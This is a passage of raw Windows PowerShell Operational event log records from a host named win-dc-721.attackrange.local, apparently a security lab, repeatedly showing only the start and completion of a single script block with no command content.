User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467989
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467988
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467987
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467986
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467985
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467984
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467983
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467982
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467981
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467980
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467979
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467978
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467977
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467976
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467975
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467974
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467973
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467972
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467971
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468233
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468232
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468231
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468230
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468229
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468228
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468227
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468226
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468225
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468224
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468223
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468222
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468221
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468220
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468219
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468218
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468217
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468216
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468215
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468214
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468213
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468212
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468211
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468210
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468209
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468208
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468207
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468206
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468205
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468204
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468203
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468202
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468201
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468200
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468199
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468198
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468197
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:10 PM
